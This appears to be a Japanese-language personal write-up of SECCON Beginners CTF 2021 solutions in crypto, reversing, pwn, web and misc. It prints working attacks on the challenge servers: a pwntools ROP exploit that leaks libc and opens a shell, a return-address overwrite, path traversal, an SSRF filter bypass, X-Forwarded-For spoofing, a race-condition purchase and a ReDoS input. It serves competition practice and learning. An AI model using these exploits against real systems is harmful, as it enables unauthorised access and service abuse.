SECCON Beginners CTF 2021 writeup
SECCON Beginners CTF 2021
yharima で参加.ついにメンバーが集まらず実質ぼっち参加だった(一人だけ最後2時間くらい参加してた). 2447pts で 46th でした.うーん….
[welcome] welcome
Discord に来るだろうと待機して最速で入れるゲーム.
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
おまけ
入れて即スコアボードみたら以下みたいになっててバグってたけど最速だったんだろうか?
[crypto] simple_RSA
e
がやたら小さいので, c
の e乗根を取れば復号できるらしい.
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
from Crypto.Util.number import long_to_bytes import gmpy n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 print(long_to_bytes(gmpy.root(c, e)[0]))
[crypto] Logical_SEESAW
説明がうまくできないので雑ですが暗号化される手順を追うと,
- FLAG をバイナリにして2進数へ変換
- 上記と同じ長さのランダムな key を生成
- 50%の割合以下のどちらかとなるものを16個作成
flag[i]
flag[i] & key[i]
の結果とする
なので,フラグが立ってるならかならずそこは正しい.一方で折れてる場合は怪しい. なので16個あるから全部フラグが折れてるなら確率的には折れてるのが正しそう,という判断をして bit を集めてきて文字列にする.
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
from Crypto.Util.number import long_to_bytes cipher = [] # output.txt flag = '' for i in range(len(cipher[0])): c = '' for j in range(len(cipher)): c += cipher[j][i] if c == '0000000000000000': flag += '0' else: flag += '1' print(long_to_bytes(int(flag, 2)))
[crypto] GFM
なんもよくわからんかったんだけど,どうやら SageMath のコードらしい? コードをみると行列計算していて,必要な情報は全部揃ってるのでドキュメント見ながら逆演算する. 実行環境はめんどかったので,オンラインの使った.
SIZE = 8 p = 331941721759386740446055265418196301559 MS = MatrixSpace(GF(p), SIZE) key = MS.matrix([[(snip)]]) # output.txt enc = MS.matrix([[(snip)]]) # output.txt print(key.inverse() * enc * key.inverse())
あとはアスキー範囲内の数字の部分だけとってきて繋ぐ.
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
[reversing] only_read
cmp
で1文字づつ比較してるので比較部分だけとってきて繋ぐ.
$ objdump -M intel -d chall | grep 'cmp al,' | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)' ctf4b{c0n5t4nt_f0ld1ng}
[reversing] children
最近乗り換えた Ghidra を使って解析すると,どうやら hoge
関数内でフラグを表示してそうであることがわかる.
vvv
関数を解析すれば良さそうに思えるんだけど面倒なので,ひとまず条件関係なく表示させるように NOP で潰す.
PID のところは ps auxf
すればわかるのでそこはちゃんと入力した(そこも潰せばいいんだけど).
$ ./children I will generate 10 child processes. They also might generate additional child process. Please tell me each process id in order to identify them! Please give me my child pid! 16282 ok Please give me my child pid! 16292 ok Please give me my child pid! 16296 ok Please give me my child pid! 16299 ok Please give me my child pid! 16302 ok Please give me my child pid! 16305 ok Please give me my child pid! 16308 ok Please give me my child pid! 16312 ok Please give me my child pid! 16315 ok Please give me my child pid! 16319 ok How many children were born? aaaaa ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
[reversing] please_not_trace_me
タイトルからしてもどうみても anti-debug が実装されていそう. 実際 ptrace するとデバッガ検知して落ちる.
ひとまず Ghidra で解析しながら anti-debug ならどうせ ptrace 呼んでるんだろうと思って潰す.
これで gdb が動くので,なんかフラグを decrypt してそうな rc4
に BP 仕掛けて実行するとフラグが出た.
Breakpoint 2, 0x0000555555555297 in main () gdb-peda$ ni [----------------------------------registers-----------------------------------] RAX: 0x555555559280 ("ctf4b{d1d_y0u_d3crypt_rc4?}")
[reversing] be_angry
公式のサンプルをパクって angr 流す.
ctf4b{3nc0d3_4r1thm3t1c}
import angr project = angr.Project("./chall", auto_load_libs=False) @project.hook(0x402539) def print_flag(state): print("FLAG SHOULD BE:", state.posix.dumps(0)) project.terminate_execution() project.execute()
[reversing] firmware
strings してみるとなんか色々なファイルが含まれているみたいで, 32 bit ARM のバイナリも転がっていそう.
とりあえずバイナリを binwalk で取り出して Ghidra へ投げ込む.
main
関数を追うとどうもサーバっぽくなっていて送られてきた文字列がフラグと一致してるかを検証している.
この際,入力された文字と 0x53
で XOR をとり, DAT_00010ea4
の格納されているデータを比較している.
なので, DAT_00010ea4
のデータを全部抜いて 0x53
で XOR をとればフラグになる.
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
[pwnable] rewriter
繋ぐと stack の状態が表示される.任意のアドレスを書き換えれるようなので return addr を書き換える.
バイナリも提供されていて, win
関数でフラグを表示しているのでそちらに書き換えてあげれば良い.
$ objdump -M intel -d chall | grep win 00000000004011f6 <win>: $ nc rewriter.quals.beginners.seccon.jp 4103 [Addr] |[Value] ====================+=================== 0x00007fff86f2e200 | 0x0000000000000000 <- buf 0x00007fff86f2e208 | 0x0000000000000000 0x00007fff86f2e210 | 0x0000000000000000 0x00007fff86f2e218 | 0x0000000000000000 0x00007fff86f2e220 | 0x0000000000000000 <- target 0x00007fff86f2e228 | 0x0000000000000000 <- value 0x00007fff86f2e230 | 0x0000000000401520 <- saved rbp 0x00007fff86f2e238 | 0x00007f11ff334bf7 <- saved ret addr 0x00007fff86f2e240 | 0x0000000000000001 0x00007fff86f2e248 | 0x00007fff86f2e318 Where would you like to rewrite it? > 0x00007fff86f2e238 0x00007fff86f2e238 = 0x4011f6 [Addr] |[Value] ====================+=================== 0x00007fff86f2e200 | 0x3666313130347830 <- buf 0x00007fff86f2e208 | 0x326532663638000a 0x00007fff86f2e210 | 0x00000000000a3833 0x00007fff86f2e218 | 0x0000000000000000 0x00007fff86f2e220 | 0x00000000004011f6 <- target 0x00007fff86f2e228 | 0x00007fff86f2e238 <- value 0x00007fff86f2e230 | 0x0000000000401520 <- saved rbp 0x00007fff86f2e238 | 0x00000000004011f6 <- saved ret addr 0x00007fff86f2e240 | 0x0000000000000001 0x00007fff86f2e248 | 0x00007fff86f2e318 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
[pwnable] beginners_rop
タイトル通りに ROP する. BOF の脆弱性があるので BOF して制御を奪って適当な GOT のアドレスを puts して libc addr を leak する. この際,最後にもう一度 main 関数のアドレスを積んでおいてもう1回 BOF できるようにしておく. 次は libc base addr がわかっているので onegadget でシェルを上げる.
% python beginners_rop.py [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done 7f03f5b52000 [*] Switching to interactive mode $ ls -l total 28 -r-xr-x--- 1 root pwn 17008 May 21 01:52 chall -r--r----- 1 root pwn 20 May 21 01:52 flag.txt -r-xr-x--- 1 root pwn 34 May 21 01:52 redir.sh $ cat flag.txt ctf4b{H4rd_ROP_c4f3}
src
from pwn import * context.arch = 'amd64' con = remote('beginners-rop.quals.beginners.seccon.jp', 4102) payload = 'A' * 256 payload += pack(0x404050 + 0x100) payload += pack(0x401283) # pop rdi payload += pack(0x404018) # puts@got payload += pack(0x401070) # puts@plt payload += pack(0x401196) con.sendline(payload) con.recvline() libc_base_addr = unpack(con.recvline().strip() + "\x00\x00") - 0x80aa0 print "%x" % libc_base_addr payload = 'A' * 256 payload += pack(0x404050 + 0x100) payload += pack(libc_base_addr + 0x4f3d5) con.sendline(payload) con.recvline() con.interactive()
[web] osoba
なんかいかにもディレクトリトラバーサルしてください,みたいな URL なので ../flag
してみるとフラグがでる.
% curl 'https://osoba.quals.beginners.seccon.jp/?page=../flag' ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
[web] Werewolf
ソースコードを読むと role
が WEREWOLF
ならフラグがでそう.
name
と color
は POST parameter に渡せばいけるんだけけどプロパティなので role=WEREWOLF
とやってもうまくいかない.
これ,内部的にはどうなってるんだろうと思って,以下のようなコードを実行すると {'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}
.
import random class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) @property def role(self): return self.__role player = Player() print(vars(player))
なるほど, _Player__role
を書き換えてあげればいいのね,ということで以下を実行するとフラグを得れる.
% curl -sfS 'https://werewolf.quals.beginners.seccon.jp/' --data-raw '_Player__role=WEREWOLF' | grep ctf4b <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>
[web] check_url
ソースコードを読むと, REMOTE_ADDR が 127.0.0.1 でアクセスするとフラグがでるらしい.
ただ, preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url)
のように置換されてしまうので .
は使えない.
127.0.0.1 は SSRF あるあるネタとして様々な表現ができるので順番にためす.
* 2130706433
: だめ
* 017700000001
: だめ
* 0x7F000001
: OK
というわけで,
% curl -sfS 'https://check-url.quals.beginners.seccon.jp/?url=0x7F000001' | grep ctf4b Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry} </h5>
[web] json
ソースを読むとまず, 192.168.111.0/24
からのアクセスに制限されていることがわかる.
nginx の config を見ると以下の記述があって X-Forwarded-For
を最初から送れば偽装できることがわかる.
location / { proxy_pass http://bff:8080; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }
なので,まず以下のような curl を投げると内部からのアクセスに偽装することができる.
% curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id": 2}' {"error":"It is forbidden to retrieve Flag from this BFF server."}
次は id = 2
であればフラグがでるのだけどチェックされている. bff 側は json 形式に変換してチェックしているのに, api 側は body から取り出しているだけ.(いま見ると普通に jsonparser
使ってたので普通に見間違えてました).
json の key って大文字とか小文字チェックしてるんだっけ?と思って投げてみたらうまくいった.
curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id":2, "ID": 1}' {"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
[web] cant_use_db
DB 使ってないみたいなタイトルで実際ソースを見るとファイルに書き出している. すべての材料を揃えるのはお金が足りないんだけど,ロック処理とかしてないのですべての購入を同じタイミングで投げるといけるんじゃないかと思いやってみる. まず, sessionId を普通に curl を投げてとって,以下のリクエストをほぼ同時に投げる.
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' -H 'Cookie: session=(snip)' % curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)' % curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'
うまく買えたらあとは sessionId をセットして /eat
を叩く.
% curl 'https://cant-use-db.quals.beginners.seccon.jp/eat' -H 'Cookie: session=(snip)' ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
[misc] git-leak
objects 片っ端から漁るスクリプト書いたらでた.
$ ./solve.sh | grep ctf4b ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
src
#!/bin/bash for dir in `ls .git/objects`; do for file in `ls .git/objects/$dir`; do git cat-file -p "$dir$file" done done
[misc] Mail_Address_Validator
ソースをみると正規表現の実行をタイムアウトさせたらフラグが表示されるみたい. とりあえず適当に長いの投げてどれくらいかかるか見てみるかーと思って投げたらそのままタイムアウトしてフラグが出てしまった.
% perl -e 'print "a@" . "a" x 128' | nc mail-address-validator.quals.beginners.seccon.jp 5100 I check your mail address. please puts your mail address. ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
[misc] depixelization
ソースコードから [a-z][0-9]
の画像を生成して気合で目 diff する.まじで気合.
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
まとめ
- ぼっちは寂しい
- Ghidra 最高
- モンハンしてたやつはギルティ
- Pwn 勉強不足
- Crypto 無理
- あと2, 3問は解きたかった